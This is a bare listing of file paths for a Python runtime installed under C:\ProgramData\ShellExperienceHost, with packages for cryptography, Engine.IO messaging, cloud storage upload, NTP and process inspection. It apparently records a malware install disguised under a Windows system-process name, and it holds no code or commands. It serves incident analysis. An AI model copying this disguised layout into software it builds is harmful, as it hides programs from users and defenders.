C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_224.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_256.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_384.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA3_512.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHA512.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHAKE128.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\SHAKE256.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_BLAKE2B.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_BLAKE2S.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_CLMUL.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_GHASH_PORTABLE.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_KECCAK.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD2.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD4.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_MD5.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_POLY1305.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_RIPEMD160.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA1.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA224.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA256.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA384.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\_SHA512.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\HASH\__INIT__.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\KDF.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\SECRETSHARING.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\_SCRYPT.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PROTOCOL\__INIT__.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\PY.TYPED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\RANDOM.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\RANDOM\__INIT__.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\ASN1.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\COUNTER.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\NUMBER.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\PADDING.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\PY3COMPAT.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\RFC1751.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\STRXOR.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPUID_C.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_CPU_FEATURES.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_FILE_SYSTEM.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_RAW_API.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\_STRXOR.PYD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\UTIL\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\CRYPTO\__INIT__.PYI
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\DISTUTILS-PRECEDENCE.PTH
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\EASY_INSTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_CLIENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_SERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNCIO_SOCKET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\AIOHTTP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\ASGI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\EVENTLET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\GEVENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\GEVENT_UWSGI.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\SANIC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\THREADING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\TORNADO.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\ASYNC_DRIVERS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\CLIENT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\MIDDLEWARE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\PACKET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\PAYLOAD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\SERVER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\SOCKET.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\STATIC_FILES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ENGINEIO\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\LICENSE.RST
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA-2.10.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\CODEC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\CORE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\IDNADATA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\INTRANGES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\PACKAGE_DATA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\UTS46DATA.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\IDNA\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\DOC\ISAPI.HTML
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\INSTALL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\ISAPICON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\PYISAPI_LOADER.DLL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\README.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\ADVANCED.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\README.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\REDIRECTOR.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\REDIRECTOR_ASYNCH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\REDIRECTOR_WITH_FILTER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SAMPLES\TEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\SIMPLE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\TEST\EXTENSION_SIMPLE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\TEST\README.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\THREADED_EXTENSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\ISAPI\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\DESCRIPTION.RST
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\ENTRY_POINTS.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\PYDIST.JSON
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED-0.1.31.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\APP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDLINE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\ARGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\BUILD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\CLASSIFIER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\DIST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\HELP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\LOCATE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\MAKE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\PROFILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\PYH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\TEST.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\USAGE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\COMMANDS\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\SCRATCHPAD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\SETTINGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\APP_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\LICENSES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\MANIFEST_IN_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\PROFILER_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\PYPUSH_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\README_MD_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\SETTINGS_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\SETUP_CFG_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\SETUP_PY_FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TEMPLATES\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\BENCHMARKING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\CASTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\BENCHMARKING.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\BENCHMARKING.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\BUILD.SH
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CASTS.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CASTS.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CSTATE.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CSTATE.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\CYTHONIZE.SH
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\FILE.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\FILE.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\INK.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\INK.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\NETWORK.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\NETWORK.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\PYTHON.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\PYTHON.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SETUP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SHELL.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SHELL.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SYSTEM.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\SYSTEM.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\TYPES.C
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\TYPES.PYX
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\C\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\FILE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\GIT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\INK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\ITER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\NETWORK.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\PYTHON.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\SHELL.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\STATE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\SYSTEM.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\TYPES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\TOOLSHED\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NAKED\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB-0.3.4.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\NTPLIB.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\API.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\AUTH.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\DEFAULTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\EXCEPTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\HTTP.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\ITERATORS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\MODELS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\RESUMABLE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\TASK_QUEUE.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\XML_UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\OSS2\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\EXTERN\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\APPDIRS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\MARKERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\REQUIREMENTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\SPECIFIERS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\TAGS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\UTILS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\VERSION.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\_COMPAT.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\_STRUCTURES.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\_TYPING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\__ABOUT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PACKAGING\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\PYPARSING.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\_VENDOR\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PKG_RESOURCES\__INIT__.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\INSTALLER
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\LICENSE
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\METADATA
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\RECORD
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\REQUESTED
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\TOP_LEVEL.TXT
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL-5.8.0.DIST-INFO\WHEEL
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\RUNNER.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_AIX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_BSD.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_CONNECTIONS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_CONTRACTS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_LINUX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_MEMLEAKS.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_MISC.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_OSX.PY
C:\PROGRAMDATA\SHELLEXPERIENCEHOST\LIB\SITE-PACKAGES\PSUTIL\TESTS\TEST_POSIX.PY
